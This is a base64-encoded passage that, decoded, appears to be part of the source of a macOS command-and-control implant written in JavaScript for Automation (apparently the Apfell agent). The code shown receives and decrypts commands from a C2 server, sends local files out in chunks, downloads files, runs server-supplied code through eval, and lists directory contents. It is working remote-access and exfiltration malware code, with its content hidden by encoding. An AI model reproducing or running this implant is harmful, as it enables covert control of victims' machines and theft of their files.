GxvYy5pbml0V2l0aEJhc2U2NEVuY29kaW5nKHJlc3BvbnNlRGF0YSk7CiAgICAgICAgbGV0IHV1aWRfcmFuZ2UgPSAkLk5TTWFrZVJhbmdlKDAsIDM2KTsKICAgICAgICBsZXQgbWVzc2FnZV9yYW5nZSA9ICQuTlNNYWtlUmFuZ2UoMzYsIHJlc3AubGVuZ3RoIC0gMzYpOwogICAgICAgIGxldCB1dWlkID0gJC5OU1N0cmluZy5hbGxvYy5pbml0V2l0aERhdGFFbmNvZGluZyhyZXNwLnN1YmRhdGFXaXRoUmFuZ2UodXVpZF9yYW5nZSksICQuTlNVVEY4U3RyaW5nRW5jb2RpbmcpLmpzOwogICAgICAgIC8vY29uc29sZS5sb2coImNhcnZpbmcgb3V0IHJlc3Qgb2YgbWVzc2FnZSIpOwogICAgICAgIGlmKHV1aWQgIT09IGFwZmVsbC51dWlkICYmIHV1aWQgIT09IGFwZmVsbC5pZCAmJiB1dWlkICE9PSB1aWQpewogICAgICAgICAgICAvL2NvbnNvbGUubG9nKCJpZCBkb2Vzbid0IG1hdGNoOiAiICsgdXVpZCk7CiAgICAgICAgICAgICQuTlNUaHJlYWQuc2xlZXBGb3JUaW1lSW50ZXJ2YWwodGhpcy5nZW5fc2xlZXBfdGltZSgpKTsKICAgICAgICAgICAgY29udGludWU7CiAgICAgICAgfQogICAgICAgIHJlc3AgPSByZXNwLnN1YmRhdGFXaXRoUmFuZ2UobWVzc2FnZV9yYW5nZSk7IC8vY291bGQgZWl0aGVyIGJlIHBsYWludGV4dCBqc29uIG9yIGVuY3J5cHRlZCBieXRlcwogICAgICAgIC8vd2UncmUgbm90IGRvaW5nIHRoZSBpbml0aWFsIGtleSBleGNoYW5nZQogICAgICAgIGlmKHRoaXMuYWVzX3BzayAhPT0gIiIpewogICAgICAgICAgICAvL2lmIHdlIGRvIG5lZWQgdG8gZGVjcnlwdCB0aGUgcmVzcG9uc2UgdGhvdWdoLCBkbyB0aGF0CiAgICAgICAgICAgIHJlc3AgPSBPYmpDLnVud3JhcCh0aGlzLmRlY3J5cHRfbWVzc2FnZShyZXNwKSk7CiAgICAgICAgICAgIHJldHVybiBKU09OLnBhcnNlKHJlc3ApOwogICAgICAgIH1lbHNlewogICAgICAgICAgICAvL3dlIGRvbid0IG5lZWQgdG8gZGVjcnlwdCBpdCwgc28gd2UgY2FuIGp1c3QgcGFyc2UgYW5kIHJldHVybiBpdAogICAgICAgICAgICByZXR1cm4gSlNPTi5wYXJzZShPYmpDLmRlZXBVbndyYXAoJC5OU1N0cmluZy5hbGxvYy5pbml0V2l0aERhdGFFbmNvZGluZyhyZXNwLCAkLk5TVVRGOFN0cmluZ0VuY29kaW5nKSkpOwogICAgICAgIH0KICAgICAgfQogICAgICBjYXRjaChlcnJvcil7CiAgICAgICAgICAvL2NvbnNvbGUubG9nKCJlcnJvciBpbiBtYWtlX3JlcXVlc3Q6ICIgICsgZXJyb3IudG9TdHJpbmcoKSk7CiAgICAgICAgICAkLk5TVGhyZWFkLnNsZWVwRm9yVGltZUludGVydmFsKHRoaXMuZ2VuX3NsZWVwX3RpbWUoKSk7ICAvLyBkb24ndCBzcGluIG91dCBjcmF6eSBpZiB0aGUgY29ubmVjdGlvbiBmYWlscwogICAgICB9CiAgICB9CiAgfQogIGRvd25sb2FkKHRhc2ssIHBhcmFtcyl7CiAgICBsZXQgb3V0cHV0ID0gIiI7CiAgICBpZiggZG9lc19maWxlX2V4aXN0KHBhcmFtcykpewogICAgICAgIGxldCBvZmZzZXQgPSAwOwogICAgICAgIGxldCBjaHVua1NpemUgPSB0aGlzLmNodW5rX3NpemU7IC8vMzUwMDsKICAgICAgICBsZXQgZnVsbF9wYXRoID0gcGFyYW1zOwogICAgICAgIHRyeXsKICAgICAgICAgICAgbGV0IGZtID0gJC5OU0ZpbGVNYW5hZ2VyLmRlZmF1bHRNYW5hZ2VyOwogICAgICAgICAgICBsZXQgcGllY2VzID0gT2JqQy5kZWVwVW53cmFwKGZtLmNvbXBvbmVudHNUb0Rpc3BsYXlGb3JQYXRoKHBhcmFtcykpOwogICAgICAgICAgICBmdWxsX3BhdGggPSAiLyIgKyBwaWVjZXMuc2xpY2UoMSkuam9pbigiLyIpOwogICAgICAgICAgICB2YXIgaGFuZGxlID0gJC5OU0ZpbGVIYW5kbGUuZmlsZUhhbmRsZUZvclJlYWRpbmdBdFBhdGgoZnVsbF9wYXRoKTsKICAgICAgICAgICAgLy8gR2V0IHRoZSBmaWxlIHNpemUgYnkgc2Vla2luZzsKICAgICAgICAgICAgdmFyIGZpbGVTaXplID0gaGFuZGxlLnNlZWtUb0VuZE9mRmlsZTsKICAgICAgICB9Y2F0Y2goZXJyb3IpewogICAgICAgICAgICByZXR1cm4geydzdGF0dXMnOiAnZXJyb3InLCAndXNlcl9vdXRwdXQnOiBlcnJvci50b1N0cmluZygpLCAiY29tcGxldGVkIjogdHJ1ZX07CiAgICAgICAgfQogICAgICAgIC8vIGFsd2F5cyByb3VuZCB1cCB0byBhY2NvdW50IGZvciBjaHVua3MgdGhhdCBhcmUgPCBjaHVua3NpemU7CiAgICAgICAgbGV0IG51bU9mQ2h1bmtzID0gTWF0aC5jZWlsKGZpbGVTaXplIC8gY2h1bmtTaXplKTsKICAgICAgICBsZXQgcmVnaXN0ZXJEYXRhID0geyd0b3RhbF9jaHVua3MnOiBudW1PZkNodW5rcywgImZ1bGxfcGF0aCI6IGZ1bGxfcGF0aH07CiAgICAgICAgbGV0IHJlZ2lzdGVyRmlsZSA9IHRoaXMucG9zdFJlc3BvbnNlKHRhc2ssIHJlZ2lzdGVyRGF0YSk7CiAgICAgICAgaWYgKHJlZ2lzdGVyRmlsZVsncmVzcG9uc2VzJ11bMF1bJ3N0YXR1cyddID09PSAic3VjY2VzcyIpewogICAgICAgICAgICBoYW5kbGUuc2Vla1RvRmlsZU9mZnNldCgwKTsKICAgICAgICAgICAgbGV0IGN1cnJlbnRDaHVuayA9IDE7CiAgICAgICAgICAgIGxldCBkYXRhID0gaGFuZGxlLnJlYWREYXRhT2ZMZW5ndGgoY2h1bmtTaXplKTsKICAgICAgICAgICAgd2hpbGUocGFyc2VJbnQoZGF0YS5sZW5ndGgpID4gMCAmJiBvZmZzZXQgPCBmaWxlU2l6ZSl7CiAgICAgICAgICAgICAgICAvLyBzZW5kIGEgY2h1bmsKICAgICAgICAgICAgICAgIGxldCBmaWxlRGF0YSA9IHsnY2h1bmtfbnVtJzogY3VycmVudENodW5rLCAnY2h1bmtfZGF0YSc6IGRhdGEuYmFzZTY0RW5jb2RlZFN0cmluZ1dpdGhPcHRpb25zKDApLmpzLCAnZmlsZV9pZCc6IHJlZ2lzdGVyRmlsZVsncmVzcG9uc2VzJ11bMF1bJ2ZpbGVfaWQnXX07CiAgICAgICAgICAgICAgICBsZXQgcmVzcG9uc2UgPSB0aGlzLnBvc3RSZXNwb25zZSh0YXNrLCBmaWxlRGF0YSk7CiAgICAgICAgICAgICAgICBpZihyZXNwb25zZVsncmVzcG9uc2VzJ11bMF1bJ3N0YXR1cyddID09PSAnc3VjY2VzcycpewogICAgICAgICAgICAgICAgICBvZmZzZXQgKz0gcGFyc2VJbnQoZGF0YS5sZW5ndGgpOwogICAgICAgICAgICAgICAgICBoYW5kbGUuc2Vla1RvRmlsZU9mZnNldChvZmZzZXQpOwogICAgICAgICAgICAgICAgICBjdXJyZW50Q2h1bmsgKz0gMTsKICAgICAgICAgICAgICAgICAgZGF0YSA9IGhhbmRsZS5yZWFkRGF0YU9mTGVuZ3RoKGNodW5rU2l6ZSk7CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAkLk5TVGhyZWFkLnNsZWVwRm9yVGltZUludGVydmFsKHRoaXMuZ2VuX3NsZWVwX3RpbWUoKSk7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgb3V0cHV0ID0geyJjb21wbGV0ZWQiOnRydWUsICJmaWxlX2lkIjogcmVnaXN0ZXJGaWxlWydyZXNwb25zZXMnXVswXVsnZmlsZV9pZCddfTsKICAgICAgICB9CiAgICAgICAgZWxzZXsKICAgICAgICAgICBvdXRwdXQgPSB7J3N0YXR1cyc6ICdlcnJvcicsICd1c2VyX291dHB1dCc6ICJGYWlsZWQgdG8gcmVnaXN0ZXIgZmlsZSB0byBkb3dubG9hZCIsICJjb21wbGV0ZWQiOiB0cnVlfTsKICAgICAgICB9CiAgICB9CiAgICBlbHNlewogICAgICAgIG91dHB1dCA9IHsnc3RhdHVzJzogJ2Vycm9yJywgJ3VzZXJfb3V0cHV0JzogImZpbGUgZG9lcyBub3QgZXhpc3QiLCAiY29tcGxldGVkIjogdHJ1ZX07CiAgICB9CiAgICByZXR1cm4gb3V0cHV0OwogIH0KICB1cGxvYWQodGFzaywgZmlsZV9pZCwgZnVsbF9wYXRoKXsKICAgIHRyeXsKICAgICAgICBsZXQgZGF0YSA9IHsiYWN0aW9uIjogInVwbG9hZCIsICJmaWxlX2lkIjogZmlsZV9pZCwgImNodW5rX3NpemUiOiB0aGlzLmNodW5rX3NpemUsICJjaHVua19udW0iOiAxLCAiZnVsbF9wYXRoIjogZnVsbF9wYXRoLCAidGFza19pZCI6IHRhc2suaWR9OwogICAgICAgIGxldCBjaHVua19udW0gPSAxOwogICAgICAgIGxldCB0b3RhbF9jaHVua3MgPSAxOwogICAgICAgIGxldCB0b3RhbF9kYXRhID0gJC5OU011dGFibGVEYXRhLmRhdGFXaXRoTGVuZ3RoKDApOwogICAgICAgIGRvewogICAgICAgICAgICBsZXQgZmlsZV9kYXRhID0gdGhpcy5tYWtlX3JlcXVlc3QoIlBPU1QiLCBhcGZlbGwuaWQsIGRhdGEpOwogICAgICAgICAgICBpZihmaWxlX2RhdGFbJ2NodW5rX251bSddID09PSAwKXsKICAgICAgICAgICAgICAgIHJldHVybiB7J3N0YXR1cyc6ICdlcnJvcicsICd1c2VyX291dHB1dCc6ICJFcnJvciBmcm9tIHRoZSBzZXJ2ZXIiLCAiY29tcGxldGVkIjogdHJ1ZX07CiAgICAgICAgICAgIH0KICAgICAgICAgICAgY2h1bmtfbnVtID0gZmlsZV9kYXRhWydjaHVua19udW0nXTsKICAgICAgICAgICAgdG90YWxfY2h1bmtzID0gZmlsZV9kYXRhWyd0b3RhbF9jaHVua3MnXTsKICAgICAgICAgICAgdG90YWxfZGF0YS5hcHBlbmREYXRhKCQuTlNEYXRhLmFsbG9jLmluaXRXaXRoQmFzZTY0RW5jb2RpbmcoJChmaWxlX2RhdGFbJ2NodW5rX2RhdGEnXSkpKTsKICAgICAgICAgICAgZGF0YSA9IHsiYWN0aW9uIjogInVwbG9hZCIsICJmaWxlX2lkIjogZmlsZV9pZCwgImNodW5rX3NpemUiOiB0aGlzLmNodW5rX3NpemUsICJjaHVua19udW0iOiBjaHVua19udW0gKyAxfTsKICAgICAgICB9d2hpbGUoY2h1bmtfbnVtIDwgdG90YWxfY2h1bmtzKTsKICAgICAgcmV0dXJuIHRvdGFsX2RhdGE7CiAgICB9Y2F0Y2goZXJyb3IpewogICAgICAgIHJldHVybiB7J3N0YXR1cyc6ICdlcnJvcicsICd1c2VyX291dHB1dCc6IGVycm9yLnRvU3RyaW5nKCksICJjb21wbGV0ZWQiOiB0cnVlfTsKICAgIH0KICB9Cn0KLy8tLS0tLS0tLS0tLS0tIElOU1RBTlRJQVRFIE9VUiBDMiBDTEFTUyBCRUxPVyBIRVJFIElOIE1BSU4gQ09ERS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCk9iakMuaW1wb3J0KCdTZWN1cml0eScpOwpDMiA9IG5ldyBjdXN0b21DMigpOwovLy0tLS0tLS0tLS0tLS1TSEFSRUQgQ09NTUFORCBDT0RFIC0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQpkb2VzX2ZpbGVfZXhpc3QgPSBmdW5jdGlvbihzdHJQYXRoKXsKICAgIHZhciBlcnJvciA9ICQoKTsKICAgIHJldHVybiAkLk5TRmlsZU1hbmFnZXIuZGVmYXVsdE1hbmFnZXIuYXR0cmlidXRlc09mSXRlbUF0UGF0aEVycm9yKCQoc3RyUGF0aCkuc3RyaW5nQnlTdGFuZGFyZGl6aW5nUGF0aCwgZXJyb3IpLCBlcnJvci5jb2RlID09PSB1bmRlZmluZWQ7Cn07CmNvbnZlcnRfdG9fbnNkYXRhID0gZnVuY3Rpb24oc3RyRGF0YSl7CiAgICAvLyBoZWxwZXIgZnVuY3Rpb24gdG8gY29udmVydCBVVEY4IHN0cmluZ3MgdG8gTlNEYXRhIG9iamVjdHMKICAgIHZhciB0bXBTdHJpbmcgPSAkLk5TU3RyaW5nLmFsbG9jLmluaXRXaXRoQ1N0cmluZ0VuY29kaW5nKHN0ckRhdGEsICQuTlNEYXRhLk5TVW5pY29kZVN0cmluZ0VuY29kaW5nKTsKICAgIHJldHVybiB0bXBTdHJpbmcuZGF0YVVzaW5nRW5jb2RpbmcoJC5OU0RhdGEuTlNVVEYxNlN0cmluZ0VuY29kaW5nKTsKfTsKd3JpdGVfZGF0YV90b19maWxlID0gZnVuY3Rpb24oZGF0YSwgZmlsZV9wYXRoKXsKICAgIHRyeXsKICAgICAgICAvL3ZhciBvcGVuX2ZpbGUgPSBjdXJyZW50QXBwLm9wZW5Gb3JBY2Nlc3MoUGF0aChmaWxlX3BhdGgpLCB7d3JpdGVQZXJtaXNzaW9uOiB0cnVlfSk7CiAgICAgICAgLy9jdXJyZW50QXBwLnNldEVvZihvcGVuX2ZpbGUsIHsgdG86IDAgfSk7IC8vY2xlYXIgdGhlIGN1cnJlbnQgZmlsZQogICAgICAgIC8vY3VycmVudEFwcC53cml0ZShkYXRhLCB7IHRvOiBvcGVuX2ZpbGUsIHN0YXJ0aW5nQXQ6IGN1cnJlbnRBcHAuZ2V0RW9mKG9wZW5fZmlsZSkgfSk7CiAgICAgICAgLy9jdXJyZW50QXBwLmNsb3NlQWNjZXNzKG9wZW5fZmlsZSk7CiAgICAgICAgaWYodHlwZW9mIGRhdGEgPT0gInN0cmluZyIpewogICAgICAgICAgICBkYXRhID0gY29udmVydF90b19uc2RhdGEoZGF0YSk7CiAgICAgICAgfQogICAgICAgIGlmIChkYXRhLndyaXRlVG9GaWxlQXRvbWljYWxseSgkKGZpbGVfcGF0aCksIHRydWUpKXsKICAgICAgICAgICAgcmV0dXJuICJmaWxlIHdyaXR0ZW4iOwogICAgICAgIH0KICAgICAgICBlbHNlewogICAgICAgICAgICByZXR1cm4gImZhaWxlZCB0byB3cml0ZSBmaWxlIjsKICAgICAgICB9CiAgICAgfQogICAgIGNhdGNoKGVycm9yKXsKICAgICAgICByZXR1cm4gImZhaWxlZCB0byB3cml0ZSB0byBmaWxlOiAiICsgZXJyb3IudG9TdHJpbmcoKTsKICAgICB9Cn07CmRlZmF1bHRfbG9hZCA9IGZ1bmN0aW9uKGNvbnRlbnRzKXsKICAgIHZhciBtb2R1bGUgPSB7ZXhwb3J0czoge319OwogICAgdmFyIGV4cG9ydHMgPSBtb2R1bGUuZXhwb3J0czsKICAgIGlmKHR5cGVvZiBjb250ZW50cyA9PSAic3RyaW5nIil7CiAgICAgICAgZXZhbChjb250ZW50cyk7CiAgICB9CiAgICBlbHNlewogICAgICAgIGV2YWwoY29udGVudHMuanMpOwogICAgfQogICAgcmV0dXJuIG1vZHVsZS5leHBvcnRzOwp9OwpiYXNlNjRfZGVjb2RlID0gZnVuY3Rpb24oZGF0YSl7CiAgICBpZih0eXBlb2YgZGF0YSA9PSAic3RyaW5nIil7CiAgICAgICAgdmFyIG5zX2RhdGEgPSAkLk5TRGF0YS5hbGxvYy5pbml0V2l0aEJhc2U2NEVuY29kaW5nKCQoZGF0YSkpOwogICAgfQogICAgZWxzZXsKICAgICAgICB2YXIgbnNfZGF0YSA9IGRhdGE7CiAgICB9CiAgICB2YXIgZGVjb2RlZF9kYXRhID0gJC5OU1N0cmluZy5hbGxvYy5pbml0V2l0aERhdGFFbmNvZGluZyhuc19kYXRhLCAkLk5TVVRGOFN0cmluZ0VuY29kaW5nKS5qczsKICAgIHJldHVybiBkZWNvZGVkX2RhdGE7Cn07CmJhc2U2NF9lbmNvZGUgPSBmdW5jdGlvbihkYXRhKXsKICAgIGlmKHR5cGVvZiBkYXRhID09ICJzdHJpbmciKXsKICAgICAgICB2YXIgbnNfZGF0YSA9IGNvbnZlcnRfdG9fbnNkYXRhKGRhdGEpOwogICAgfQogICAgZWxzZXsKICAgICAgICB2YXIgbnNfZGF0YSA9IGRhdGE7CiAgICB9CiAgICB2YXIgZW5jb2RlZCA9IG5zX2RhdGEuYmFzZTY0RW5jb2RlZFN0cmluZ1dpdGhPcHRpb25zKDApLmpzOwogICAgcmV0dXJuIGVuY29kZWQ7Cn07CnZhciBleHBvcnRzID0ge307ICAvLyBnZXQgc3R1ZmYgcmVhZHkgZm9yIGluaXRpYWwgY29tbWFuZCBsaXN0aW5nCmV4cG9ydHMubHMgPSBmdW5jdGlvbih0YXNrLCBjb21tYW5kLCBwYXJhbXMpewogICAgT2JqQy5pbXBvcnQoJ0ZvdW5kYXRpb24nKTsKICAgIHRyeSB7CiAgICAgICAgbGV0IGNvbW1hbmRfcGFyYW1zID0gSlNPTi5wYXJzZShwYXJhbXMpOwogICAgICAgIGxldCBmaWxlTWFuYWdlciA9ICQuTlNGaWxlTWFuYWdlci5kZWZhdWx0TWFuYWdlcjsKICAgICAgICBsZXQgZXJyb3IgPSBSZWYoKTsKICAgICAgICBsZXQgcGF0aCA9IGNvbW1hbmRfcGFyYW1zWydwYXRoJ107CiAgICAgICAgaWYgKHBhdGggPT09ICIiIHx8IHBhdGggPT09IHVuZGVmaW5lZCkgewogICAgICAgICAgICBwYXRoID0gZmlsZU1hbmFnZXIuY3VycmVudERpcmVjdG9yeVBhdGguanM7CiAgICAgICAgICAgIGlmIChwYXRoID09PSB1bmRlZmluZWQgfHwgcGF0aCA9PT0gIiIpIHsKICAgICAgICAgICAgICAgIHJldHVybiB7CiAgICAgICAgICAgICAgICAgICAgInVzZXJfb3V0cHV0IjogIkZhaWxlZCB0byBnZXQgY3VycmVudCB3b3JraW5nIGRpcmVjdG9yeSIsCiAgICAgICAgICAgICAgICAgICAgImNvbXBsZXRlZCI6IHRydWUsCiAgICAgICAgICAgICAgICAgICAgInN0YXR1cyI6ICJlcnJvciIKICAgICAgICAgICAgICAgIH07CiAgICAgICAgICAgIH0KICAgICAgICB9CiAgICAgICAgaWYgKHBhdGhbMF0gPT09ICciJykgewogICAgICAgICAgICBwYXRoID0gcGF0aC5zdWJzdHJpbmcoMSwgcGF0aC5sZW5ndGggLSAxKTsKICAgICAgICB9CiAgICAgICAgaWYocGF0aFswXSA9PT0gJ34nKXsKICAgICAgICAgICAgcGF0aCA9ICQocGF0aCkuc3RyaW5nQnlFeHBhbmRpbmdUaWxkZUluUGF0aC5qczsKICAgICAgICB9CiAgICAgICAgbGV0IGF0dHJpYnV0ZXMgPSBPYmpDLmRlZXBVbndyYXAoZmlsZU1hbmFnZXIuYXR0cmlidXRlc09mSXRlbUF0UGF0aEVycm9yKCQocGF0aCksIGVycm9yKSk7CiAgICAgICAgaWYgKGF0dHJpYnV0ZXMgIT09IHVuZGVmaW5lZCkgewogICAgICAgICAgICBhdHRyaWJ1dGVzWyd0eXBlJ10gPSAiRiI7CiAgICAgICAgICAgIGF0dHJpYnV0ZXNbJ2ZpbGVzJ10gPSBbXTsKICAgICAgICAgICAgaWYgKGF0dHJpYnV0ZXMuaGFzT3duUHJvcGVydHkoJ05TRmlsZVR5cGUnKSAmJiBhdHRyaWJ1dGVzWydOU0ZpbGVUeXBlJ10gPT09ICJOU0ZpbGVUeXBlRGlyZWN0b3J5IikgewogICAgICAgICAgICAgICAgbGV0IGVycm9yID0gUmVmKCk7CiAgICAgICAgICAgICAgICBhdHRyaWJ1dGVzWyd0eXBlJ10gPSAiRCI7CiAgICAgICAgICAgICAgICBsZXQgZmlsZXMgPSBPYmpDLmRlZXBVbndyYXAoZmlsZU1hbmFnZXIuY29udGVudHNPZkRpcmVjdG9yeUF0UGF0aEVycm9yKCQocGF0aCksIGVycm9yKSk7CiAgICAgICAgICAgICAgICBpZiAoZmlsZXMgIT09IHVuZGVmaW5lZCkgewogICAgICAgICAgICAgICAgICAgIGxldCBmaWxlc19kYXRhID0gW107CiAgICAgICAgICAgICAgICAgICAgbGV0IHN1Yl9maWxlcyA9IGZpbGVzOwogICAgICAgICAgICAgICAgICAgIGlmIChwYXRoW3BhdGgubGVuZ3RoIC0gMV0gIT09ICIvIikgewogICAgICAgICAgICAgICAgICAgICAgICBwYXRoID0gcGF0aCArICIvIjsKICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAgICAgZm9yIChsZXQgaSA9IDA7IGkgPCBzdWJfZmlsZXMubGVuZ3RoOyBpKyspIHsKICAgICAgICAgICAgICAgICAgICAgICAgbGV0IGF0dHIgPSBPYmpDLmRlZXBVbndyYXAoZmlsZU1hbmFnZXIuYXR0cmlidXRlc09mSXRlbUF0UGF0aEVycm9yKCQocGF0aCArIHN1Yl9maWxlc1tpXSksIGVycm9yKSk7CiAgICAgICAgICAgICAgICAgICAgICAgIGxldCBmaWxlX2FkZCA9IHt9OwogICAgICAgICAgICAgICAgICAgICAgICBmaWxlX2FkZFsnbmFtZSddID0gc3ViX2ZpbGVzW2ldOwogICAgICAgICAgICAgICAgICAgICAgICBpZiAoYXR0clsnTlNGaWxlVHlwZSddID09PSAiTlNGaWxlVHlwZURpcmVjdG9yeSIpIHsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIGZpbGVfYWRkWyd0eXBlJ10gPSAiRCI7CiAgICAgICAgICAgICAgICAgICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICBmaWxlX2FkZFsndHlwZSddID0gIiI7CiAgICAgICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICAgICAgbGV0IHBsaXN0UGVybXMgPSBPYmpDLnVud3JhcChmaWxlTWFuYWdlci5hdHRyaWJ1dGVzT2ZJdGVtQXRQYXRoRXJyb3IoJChwYXRoICsgc3ViX2ZpbGVzW2ldKSwgJCgpKSk7CiAgICAgICAgICAgICAgICAgICAgICAgIGlmKHBsaXN0UGVybXNbJ05TRmlsZUV4dGVuZGVkQXR0cmlidXRlcyddICE9PSB1bmRlZmluZWQpewogICAgICAgICAgICAgICAgICAgICAgICAgICAgbGV0IGV4dGVuZGVkID0ge307CiAgICAgICAgICAgICAgICAgICAgICAgICAgICBsZXQgcGVybXMgPSBwbGlzdFBlcm1zWydOU0ZpbGVFeHRlbmRlZEF0dHJpYnV0ZXMnXS5qczsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIGZvcihsZXQgaiBpbiBwZXJtcyl7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZXh0ZW5kZWRbal0gPSBwZXJtc1tqXS5iYXNlNjRFbmNvZGVkU3RyaW5nV2l0aE9wdGlvbnMoMCkuanM7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAgICAgICAgICAgICBmaWxlX2FkZFsnRXh0ZW5kZWRBdHRyaWJ1dGVzJ10gPSBleHRlbmRlZDsKICAgICAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgICAgICAgICBmaWxlX2FkZFsnc2l6ZSddID0gYXR0clsnTlNGaWxlU2l6ZSddOwogICAgICAgICAgICAgICAgICAgICAgICBsZXQgbnNwb3NpeCA9IGF0dHJbJ05TRmlsZVBvc2l4UGVybWlzc2lvbnMnXTsKICAgICAgICAgICAgICAgICAgICAgICAgLy8gd2UgbmVlZCB0byBmaXggdGhpcyBtZXNzIHRvIGFjdHVhbGx5IGJlIHJlYWwgcGVybWlzc2lvbiBiaXRzIHRoYXQgbWFrZSBzZW5zZQogICAgICAgICAgICAgICAgICAgICAgICBmaWxlX2FkZFsncGVybWlzc2lvbnMnXSA9ICgobnNwb3NpeCA+PiA2KSAmIDB4NykudG9TdHJpbmcoKSArICgobnNwb3NpeCA+PiAzKSAmIDB4NykudG9TdHJpbmcoKSArIChuc3Bvc2l4ICYgMHg3KS50b1N0cmluZygpOwogICAgICAgICAgICAgICAgICAgICAgICBmaWxlX2FkZFsnb3duZXInXSA9IGF0dHJbJ05TRmlsZU93bmVyQWNjb3VudE5hbWUnXSArICIoIiArIGF0dHJbJ05TRmlsZU93bmVyQWNjb3VudElEJ10gKyAiKSI7CiAgICAgICAgICAgICAgICAgICAgICAgIGZpbGVfYWRkWydncm91cCddID0gYXR0clsnTlNGaWxlR3JvdXBPd25lckFjY291bnROYW1lJ10gKyAiKCIgKyBhdHRyWydOU0ZpbGVHcm91cE93bmVyQWNjb3VudElEJ10gKyAiKSI7CiAgICAgICAgICAgICAgICAgICAgICAgIGlmIChhdHRyWydOU0ZpbGVFeHRlbnNpb25IaWRkZW4nXSkgewogICAgICAgICAgICAgICAgICAgICAgICAgICAgZmlsZV9hZGRbJ2hpZGRlbiddID0gIlkiOwogICAgICAgICAgICAgICAgICAgICAgICB9IGVsc2UgewogICAgICAgICAgICAgICAgICAgICAgICAgICAgZmlsZV9hZGRbJ2hpZGRlbiddID0gIiI7CiAgICAgICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICAgICAgZmlsZXNfZGF0YS5wdXNoKGZpbGVfYWRkKTsKICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAgICAgYXR0cmlidXRlc1snZmlsZXMnXSA9IGZpbGVzX2RhdGE7CiAgICAgICAgICAgICAgICB9ZWxzZXsKCiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgIH0KICAgICAgICAgICAgZGVsZXRlIGF0dHJpYnV0ZXNbJ05TRmlsZVN5c3RlbUZpbGVOdW1iZXInXTsKICAgICAgICAgICAgZGVsZXRlIGF0dHJpYnV0ZXNbJ05TRmlsZVN5c3RlbU51bWJlciddOwogICAgICAgICAgICBkZWxldGUgYXR0cmlidXRlc1snTlNGaWxlVHlwZSddOwogICAgICAgICAgICBsZXQgbnNwb3NpeCA9IGF0dHJpYnV0ZXNbJ05TRmlsZVBvc2l4UGVybWlzc2lvbnMnXTsKICAgICAgICAgICAgLy8gd2UgbmVlZCB0byBmaXggdGhpcyBtZXNzIHRvIGFjdHVhbGx5IGJlIHJlYWwgcGVybWlzc2lvbiBiaXRzIHRoYXQgbWFrZSBzZW5zZQogICAgICAgICAgICBkZWxldGUgYXR0cmlidXRlc1snTlNGaWxlUG9zaXhQZXJtaXNzaW9ucyddOwogICAgICAgICAgICBhdHRyaWJ1dGVzWyduYW1lJ10gPSBwYXRoOwogICAgICAgICAgICBhdHRyaWJ1dGVzWydzaXplJ10gPSBhdHRyaWJ1dGVzWydOU0ZpbGVTaXplJ107CiAgICAgICAgICAgIGF0dHJpYnV0ZXNbJ3Blcm1pc3Npb25zJ10gPSAoKG5zcG9zaXggPj4gNikgJiAweDcpLnRvU3RyaW5nKCkgKyAoKG5zcG9zaXggPj4gMykgJiAweDcpLnRvU3RyaW5nKCkgKyAobnNwb3NpeCAmIDB4NykudG9TdHJpbmcoKTs7CiAgICAgICAgICAgIGF0dHJpYnV0ZXNbJ293bmVyJ10gPSBhdHRyaWJ1dGVzWydOU0ZpbGVPd25lckFjY291bnROYW1lJ10gKyAiKCIgKyBhdHRyaWJ1dGVzWydOU0ZpbGVPd25lckFjY291bnRJRCddICsgIikiOwogICAgICAgICAgICBhdHRyaWJ1dGVzWydncm91cCddID0gYXR0cmlidXRlc1snTlNGaWxlR3JvdXBPd25lckFjY291bnROYW1lJ10gKyAiKCIgKyBhdHRyaWJ1dGVzWydOU0ZpbGVHcm91cE93bmVyQWNjb3VudElEJ10gKyAiKSI7CiAgICAgICAgICAgIGlmIChhdHRyaWJ1dGVzWydOU0ZpbGVFeHRlbnNpb25IaWRkZW4nXSkgewogICAgICAgICAgICAgICAgYXR0cmlidXRlc1snaGlkZGVuJ10gPSAiWSI7CiAgICAgICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgICAgICBhdHRyaWJ1dGVzWydoaWRkZW4nXSA9ICIiOwogICAgICAgICAgICB9CiAgICAgICAgICAgIGRlbGV0ZSBhdHRyaWJ1dGVzWydOU0ZpbGVTaXplJ107CiAgICAgICAgICAgIGRlbGV0ZSBhdHRyaWJ1dGVzWydOU0ZpbGVPd25lckFjY291bnROYW1lJ107CiAgICAgICAgICAgIGRlbGV0ZSBhdHRyaWJ1dGVzWydOU0ZpbGVPd25lckFjY291bnRJRCddOwogICAgICAgICAgICBkZWxldGUgYXR0cmlidXRlc1snTlNGaWxlR3JvdXBPd25lckFjY291bnROYW1lJ107CiAgICAgICAgICAgIGRlbGV0ZSBhdHRyaWJ1dGVzWydOU0ZpbGVHcm91cE93bmVyQWNjb3VudElEJ107CiAgICAgICAgICAgIHJldHVybiB7InVzZXJfb3V0cHV0IjogSlNPTi5zdHJpbmdpZnkoYXR0cmlidXRlcywgbnVsbCwgNiksICJjb21wbGV0ZWQiOiB0cnVlfTsKICAgICAgICB9ZWxzZXsKICAgICAgICAgICAgcmV0dXJuIHsKICAgICAgICAgICAgICAgICJ1c2VyX291dHB1dCI6ICJGYWlsZWQgdG8gZ2V0IGF0dHJpYnV0ZXMgb2YgZmlsZS4gRmlsZSBkb2Vzbid0IGV4aXN0IG9yIHlvdSBkb24ndCBoYXZlIHBlcm1pc3Npb24gdG8gcmVhZCBpdCIsCiAgICAgICAgICAgICAgICAiY29tcGxldGVkIjogdHJ1ZSwKICAgICAgICAgICAgICAgICJzdGF0dXMiOiAiZXJyb3IiCiAgICAgICAgICAgIH07CiAgICAgICAgfQoKICAgIH1j